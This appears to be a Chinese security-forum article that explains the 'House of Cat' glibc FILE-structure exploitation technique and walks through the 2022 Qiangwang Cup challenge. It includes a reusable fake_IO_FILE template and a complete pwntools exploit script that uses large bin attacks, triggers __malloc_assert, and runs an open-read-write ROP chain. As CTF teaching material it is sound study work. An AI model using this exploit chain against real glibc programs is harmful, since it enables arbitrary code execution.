其他
House of cat新型glibc中IO利用手法解析 & 第六届强网杯House of cat详解
本文为看雪论坛精华文章
看雪论坛作者ID:CatF1y
House of Cat
简介
利用条件
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert),执行IO相关函数。
利用原理
IO_FILE结构及利用
vtable检查
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
__malloc_assert与FSOP
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
2.prev inuse位为0
3.old_top页未对齐
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除;__malloc_assert则是在malloc中触发,通常是修改top chunk的大小。
一种可行的IO调用链
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
可以看到这是一个堆地址,而实际上此时rdi就是伪造的IO结构体的地址,也是可控的。
fake_IO结构体需要绕过的检测
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)
攻击流程
为了便于理解,画个图:
模板
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
2022强网杯 house of cat
保护与沙箱
保护全开,禁用了execve还检查了read的fd。
分析
main函数在每一次循环开始有对tcache_bins的赋值,相当于不让打tcache_bins造成任意地址写。
sub_1A50函数对输入的cmd进行了格式检查,返回值部位0才能进入到do_cmd,do_cmd则是能够执行到堆块管理结构,先来看sub_1A50,为了便于查看,这里用代码展示:
__int64 __fastcall sub_1A50(char *a1, __int64 a2)
{
char *s; // [rsp+18h] [rbp-28h]
char *v4; // [rsp+20h] [rbp-20h]
char *v5; // [rsp+20h] [rbp-20h]
char *v6; // [rsp+20h] [rbp-20h]
const char *s2; // [rsp+28h] [rbp-18h]
char *v8; // [rsp+30h] [rbp-10h]
const char *s1; // [rsp+38h] [rbp-8h]
v4 = strstr(a1, "QWB");
if ( !v4 )
return 0LL; //包含 QWB,否则返回0也就是不能执行do_cmd
*v4 = 0;
v4[1] = 0;
v4[2] = 32;
v5 = v4 + 3;
s2 = strtok(a1, " "); //用空格分隔开
if ( !strcmp("LOGIN", s2) )
{
*(_BYTE *)(a2 + 8) = 1;
}
else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )
{
if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )
return 0LL;
*(_BYTE *)(a2 + 8) = 10;
}
else
{
*(_BYTE *)(a2 + 8) = 9;
}
}
else
{
*(_BYTE *)(a2 + 8) = 8;
}
}
else
{
*(_BYTE *)(a2 + 8) = 7;
}
}
else
{
*(_BYTE *)(a2 + 8) = 6;
}
}
else
{
*(_BYTE *)(a2 + 8) = 5;
}
}
else
{
*(_BYTE *)(a2 + 8) = 4;
}
}
else
{
*(_BYTE *)(a2 + 8) = 3;
}
}
else
{
*(_BYTE *)(a2 + 8) = 2;
}
v8 = strtok(0LL, " ");
if ( v8 != strchr(v8, '|') )//查找'|'的第一个匹配之处
return 0LL;
*(_QWORD *)a2 = v8;
s1 = strtok(0LL, " ");
if ( strcmp(s1, "r00t") ) //比较'r00t’的存在
return 0LL;
s = v5 + 5;
v6 = strstr(v5, "QWXF");//检查是否有'QWXF'
if ( !v6 )
return 0LL;
*v6 = 0;
v6[1] = 0;
v6[2] = 0;
v6[3] = 32;
*(_QWORD *)(a2 + 16) = s;
return 1LL;
}
__int64 __fastcall sub_1DF3(__int64 a1)
{
__int64 result; // rax
unsigned int v2; // eax
char *v3; // [rsp+18h] [rbp-8h]
if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") )
dword_4040[0] = 1;//login
result = *(unsigned __int8 *)(a1 + 8);
if ( (_BYTE)result == 3 )
{
result = (__int64)strtok(*(char **)(a1 + 16), "$");
v3 = (char *)result;
if ( result )
{
result = dword_4014;//
if ( *v3 == dword_4014 )
{
result = dword_4040[0];
if ( dword_4040[0] )
{
menu();
v2 = getnumber();
if ( v2 == 4 )
{
return edit();
}
else
{
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3u:
return show();
case 1u:
return add();
case 2u:
return delete();
}
}
return output("error!\n");
}
}
}
}
}
return result;
};
if ( *v3 == dword_4014 )//dword_4014检查是否为0xffffffff
{
result = dword_4040[0];//dword_4040[0]检查是否login
if ( dword_4040[0] )
{
menu();
v2 = getnumber();
if ( v2 == 4 )
{
return edit();
}
else
{
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3u:
return show();
case 1u:
return add();
case 2u:
return delete();
}
}
return output("error!\n");
}
}
}
}
}
return result;
}
LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff
add函数,calloc申请堆块,大小在0x418-0x470之间。
delete函数有UAF。
edit函数只能编写48个字节(防止UAF造成溢出),且只有2次机会。
利用
1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.伪造fake_IO
5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode
6.setcontext执行rop链
exp
from pwn import *
p=process('./houseofcat')
libc=ELF('./libc.so.6')
context.log_level='debug'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',cont)
def delete(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', cont)
#gdb.attach(p,'b* $rebase(0x1DDD)')
add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')
delete(0)
add(3,0x440,'ddd')
show(0)
ru('Context:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0
info('libc->'+hex(libcbase))
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+libc.search(asm('syscall\nret')).next()
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290
info('heap->'+hex(heapaddr))
#fake IO
ioaddr=heapaddr+0xb00
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0 ) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapaddr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heapaddr+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heapaddr+0xb30+0x10) # rax2
flagaddr=heapaddr+0x17d0
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)
delete(2)
add(6,0x418,payload1)
delete(6)
#large bin attack stderr poiniter
edit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))
add(5,0x440,'aaaaa')
add(7,0x430,'flag')
add(8,0x430,'eee')
#rop
payload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)
add(9,0x430,payload)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
# large bin attack topchunk's size
edit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))
#trigger __malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
gdb.attach(p,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
p.interactive()
结语
看雪ID:CatF1y
https://bbs.pediy.com/user-home-959842.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!